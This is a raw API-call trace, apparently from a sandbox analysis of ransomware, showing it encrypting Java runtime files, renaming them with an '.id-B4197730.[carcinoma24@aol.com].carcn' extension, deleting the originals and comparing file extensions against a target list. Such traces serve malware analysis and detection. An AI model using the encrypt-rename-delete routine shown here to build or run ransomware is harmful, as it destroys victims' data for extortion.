1 [0300.311] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.311] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xee, lpOverlapped=0x0) returned 1 [0300.311] SetEndOfFile (hFile=0x348) returned 1 [0300.311] CloseHandle (hObject=0x348) returned 1 [0300.312] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.312] SetEndOfFile (hFile=0x338) returned 1 [0300.313] CloseHandle (hObject=0x338) returned 1 [0300.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.313] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0300.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.313] lstrlenW (lpString=".doc") returned 4 [0300.313] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.313] lstrlenW (lpString=".docx") returned 5 [0300.313] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0300.313] lstrlenW (lpString=".pdf") returned 4 [0300.314] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.314] lstrlenW (lpString=".xls") returned 4 [0300.314] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.314] lstrlenW (lpString=".xlsx") returned 5 [0300.314] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0300.314] lstrlenW (lpString=".ppt") returned 4 [0300.314] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.314] lstrlenW (lpString=".zip") returned 4 [0300.314] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.314] lstrlenW (lpString=".rar") returned 4 [0300.314] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.314] lstrlenW (lpString=".bz2") returned 4 [0300.314] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.314] lstrlenW (lpString=".7z") returned 3 [0300.314] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.314] lstrlenW (lpString=".dbf") returned 4 [0300.314] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.314] lstrlenW (lpString=".1cd") returned 4 [0300.314] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.314] lstrlenW (lpString=".jpg") returned 4 [0300.314] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.314] lstrlenW (lpString=".doc") returned 4 [0300.314] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.314] lstrlenW (lpString=".docx") returned 5 [0300.314] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0300.314] lstrlenW (lpString=".pdf") returned 4 [0300.314] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.314] lstrlenW (lpString=".xls") returned 4 [0300.315] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.315] lstrlenW (lpString=".xlsx") returned 5 [0300.315] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0300.315] lstrlenW (lpString=".ppt") returned 4 [0300.315] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.315] lstrlenW (lpString=".zip") returned 4 [0300.315] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.315] lstrlenW (lpString=".rar") returned 4 [0300.315] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.315] lstrlenW (lpString=".bz2") returned 4 [0300.315] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.315] lstrlenW (lpString=".7z") returned 3 [0300.315] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.315] lstrlenW (lpString=".dbf") returned 4 [0300.315] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.315] lstrlenW (lpString=".1cd") returned 4 [0300.315] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0300.315] lstrlenW (lpString=".jpg") returned 4 [0300.315] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.315] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0300.315] lstrlenW (lpString="java-rmi.exe") returned 12 [0300.315] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.316] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15936) returned 1 [0300.316] CloseHandle (hObject=0x338) returned 1 [0300.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0300.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.316] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.316] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.317] GetLastError () returned 0x0 [0300.317] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x3e40, lpOverlapped=0x0) returned 1 [0300.363] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x3e50, lpOverlapped=0x0) returned 1 [0300.364] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.364] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.364] SetEndOfFile (hFile=0x348) returned 1 [0300.364] CloseHandle (hObject=0x348) returned 1 [0300.364] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.364] SetEndOfFile (hFile=0x338) returned 1 [0300.365] CloseHandle (hObject=0x338) returned 1 [0300.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.365] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0300.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.366] lstrlenW (lpString=".doc") returned 4 [0300.366] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.366] lstrlenW (lpString=".docx") returned 5 [0300.366] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0300.366] lstrlenW (lpString=".pdf") returned 4 [0300.366] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.366] lstrlenW (lpString=".xls") returned 4 [0300.366] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.366] lstrlenW (lpString=".xlsx") returned 5 [0300.366] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0300.366] lstrlenW (lpString=".ppt") returned 4 [0300.366] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.366] lstrlenW (lpString=".zip") returned 4 [0300.366] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.366] lstrlenW (lpString=".rar") returned 4 [0300.366] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.366] lstrlenW (lpString=".bz2") returned 4 [0300.366] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.366] lstrlenW (lpString=".7z") returned 3 [0300.366] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.366] lstrlenW (lpString=".dbf") returned 4 [0300.366] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.366] lstrlenW (lpString=".1cd") returned 4 [0300.366] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.367] lstrlenW (lpString=".jpg") returned 4 [0300.367] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.367] lstrlenW (lpString=".doc") returned 4 [0300.367] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.367] lstrlenW (lpString=".docx") returned 5 [0300.367] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0300.367] lstrlenW (lpString=".pdf") returned 4 [0300.367] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.367] lstrlenW (lpString=".xls") returned 4 [0300.367] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.367] lstrlenW (lpString=".xlsx") returned 5 [0300.367] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0300.367] lstrlenW (lpString=".ppt") returned 4 [0300.367] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.367] lstrlenW (lpString=".zip") returned 4 [0300.367] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.367] lstrlenW (lpString=".rar") returned 4 [0300.367] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.367] lstrlenW (lpString=".bz2") returned 4 [0300.367] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.367] lstrlenW (lpString=".7z") returned 3 [0300.367] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.367] lstrlenW (lpString=".dbf") returned 4 [0300.367] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.367] lstrlenW (lpString=".1cd") returned 4 [0300.367] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0300.368] lstrlenW (lpString=".jpg") returned 4 [0300.368] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.368] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.368] lstrlenW (lpString="java.dll") returned 8 [0300.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.368] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=159808) returned 1 [0300.368] CloseHandle (hObject=0x338) returned 1 [0300.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0300.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.369] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.369] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.369] GetLastError () returned 0x0 [0300.369] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x27040, lpOverlapped=0x0) returned 1 [0300.396] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x27050, lpOverlapped=0x0) returned 1 [0300.399] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.399] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0300.399] SetEndOfFile (hFile=0x348) returned 1 [0300.399] CloseHandle (hObject=0x348) returned 1 [0300.399] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.399] SetEndOfFile (hFile=0x338) returned 1 [0300.401] CloseHandle (hObject=0x338) returned 1 [0300.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.401] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1 [0300.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.402] lstrlenW (lpString=".doc") returned 4 [0300.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.402] lstrlenW (lpString=".docx") returned 5 [0300.402] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0300.402] lstrlenW (lpString=".pdf") returned 4 [0300.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.402] lstrlenW (lpString=".xls") returned 4 [0300.402] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.402] lstrlenW (lpString=".xlsx") returned 5 [0300.402] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0300.402] lstrlenW (lpString=".ppt") returned 4 [0300.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.402] lstrlenW (lpString=".zip") returned 4 [0300.402] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.402] lstrlenW (lpString=".rar") returned 4 [0300.402] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.402] lstrlenW (lpString=".bz2") returned 4 [0300.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.402] lstrlenW (lpString=".7z") returned 3 [0300.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.402] lstrlenW (lpString=".dbf") returned 4 [0300.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.402] lstrlenW (lpString=".1cd") returned 4 [0300.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.402] lstrlenW (lpString=".jpg") returned 4 [0300.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.403] lstrlenW (lpString=".doc") returned 4 [0300.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.403] lstrlenW (lpString=".docx") returned 5 [0300.403] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0300.403] lstrlenW (lpString=".pdf") returned 4 [0300.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.403] lstrlenW (lpString=".xls") returned 4 [0300.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.403] lstrlenW (lpString=".xlsx") returned 5 [0300.403] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0300.403] lstrlenW (lpString=".ppt") returned 4 [0300.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.403] lstrlenW (lpString=".zip") returned 4 [0300.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.403] lstrlenW (lpString=".rar") returned 4 [0300.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.403] lstrlenW (lpString=".bz2") returned 4 [0300.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.403] lstrlenW (lpString=".7z") returned 3 [0300.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.403] lstrlenW (lpString=".dbf") returned 4 [0300.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.403] lstrlenW (lpString=".1cd") returned 4 [0300.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0300.403] lstrlenW (lpString=".jpg") returned 4 [0300.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.404] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0300.404] lstrlenW (lpString="java.exe") returned 8 [0300.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.404] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=206912) returned 1 [0300.404] CloseHandle (hObject=0x338) returned 1 [0300.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0300.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.405] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.405] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.405] GetLastError () returned 0x0 [0300.405] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x32840, lpOverlapped=0x0) returned 1 [0300.475] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x32850, lpOverlapped=0x0) returned 1 [0300.479] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.479] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0300.480] SetEndOfFile (hFile=0x348) returned 1 [0300.480] CloseHandle (hObject=0x348) returned 1 [0300.480] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.480] SetEndOfFile (hFile=0x338) returned 1 [0300.482] CloseHandle (hObject=0x338) returned 1 [0300.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.482] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0300.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.483] lstrlenW (lpString=".doc") returned 4 [0300.483] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.483] lstrlenW (lpString=".docx") returned 5 [0300.483] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0300.483] lstrlenW (lpString=".pdf") returned 4 [0300.483] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.483] lstrlenW (lpString=".xls") returned 4 [0300.483] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.483] lstrlenW (lpString=".xlsx") returned 5 [0300.483] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0300.483] lstrlenW 